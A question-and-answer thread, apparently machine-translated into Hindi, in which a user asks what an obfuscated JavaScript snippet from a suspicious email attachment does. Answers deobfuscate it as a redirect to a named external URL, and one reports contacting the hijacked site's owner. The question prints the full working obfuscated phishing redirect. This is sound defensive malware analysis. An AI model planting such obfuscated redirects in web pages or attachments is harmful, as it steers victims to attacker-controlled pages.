यह संदिग्ध फ़िशिंग कोड क्या करता है?

Question

मेरे कुछ गैर-आईटी सहकर्मियों ने एक ईमेल संदेश में एक .html अटैचमेंट खोला जो बेहद संदिग्ध दिखता है। इसके परिणामस्वरूप एक खाली स्क्रीन दिखाई दी जब ऐसा लगता है कि कुछ जावास्क्रिप्ट कोड चलाया गया था।

<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> 

यह क्या किया? यह मेरे प्रोग्रामिंग ज्ञान के दायरे से बाहर है।

Answer 1

यह एक यूआरएल, 'http://lendermedia.com/images/z.htm' पर रीडायरेक्ट करेगा (इसे अपने जोखिम पर फ़ॉलो करें)।

कोड को एक योग्य जावास्क्रिप्ट संपादक में कॉपी और पेस्ट करें और इसे आपके लिए स्रोत स्वरूपित करें।

मुख्य बिंदु:

var h = 'hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, ''); 

h बराबर होगा 'http://lendermedia.com/images/z.htm'

t = document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')]; 

tdocument.location

b['hIrBeTf.'.replace(/[\.BTAI]/g, '')] = h; 

संपत्तिकी href नामित के लिए एक संदर्भ में शामिल होंगे, जो इस बिंदु पर (किसी अन्य फ़ंक्शन के अंदर) उपर्युक्त कथन से वास्तव में t है, h पर सेट है, जो यूआरएल है।

कोड के अधिकांश मात्र शोर है, वास्तविक कार्यक्षमता इस के होते हैं:

function uK() { 
}; 
uK.prototype = { 
    f : function() { 
    var h = 'hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^' 
     .replace(/[\^H\!9X]/g, ''); 
    t = document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')]; 
    function x(b) { 
     b['hIrBeTf.'.replace(/[\.BTAI]/g, '')] = h; 
    } 
    x(t); 
    } 
}; 
var tL = new uK(); 
tL.f(); 

Answer 2

माइनस कहानियो, यह document.location.href="http://lendermedia.com/images/z.htm"

Answer 3

कुंजी हिस्सा की तरह कुछ समझ में कि कोड replace(/[\^H\!9X]/g, '') है करता है भागों। यदि प्रतिस्थापन के लिए दूसरा तर्क '' है, तो यह केवल पिछले स्ट्रिंग से सामान को हटा रहा है।

चीजों को खराब करने के लिए वास्तव में सुरुचिपूर्ण तरीका। शायद लक्ष्य केवल प्रत्येक उपयोगकर्ता के लिए यादृच्छिक होना है और Bayesian स्पैम फ़िल्टर से बचें।

Answer 4

मुझे एक ही समस्या का सामना करना पड़ा, और फिर यह पृष्ठ मिला। संपर्क जानकारी के लिए डब्ल्यूएचओआईएस करने के बाद, मैंने lendermedia.com के मालिक से संपर्क किया, जो अभी पाया गया है कि उसकी साइट z.htm पृष्ठ को अपने ज्ञान और उसकी इच्छाओं के विरुद्ध होस्ट कर रही है। उस समय मैंने उनसे संपर्क किया था, मैं उनकी /images/ निर्देशिका ब्राउज़ करने में सक्षम था। तब से उन्होंने अनुमतियां बदल दी हैं। यह सब कहने के लिए कि ऐसा लगता है कि यह लड़का साफ है, लेकिन यह आपके लिए तय करना है।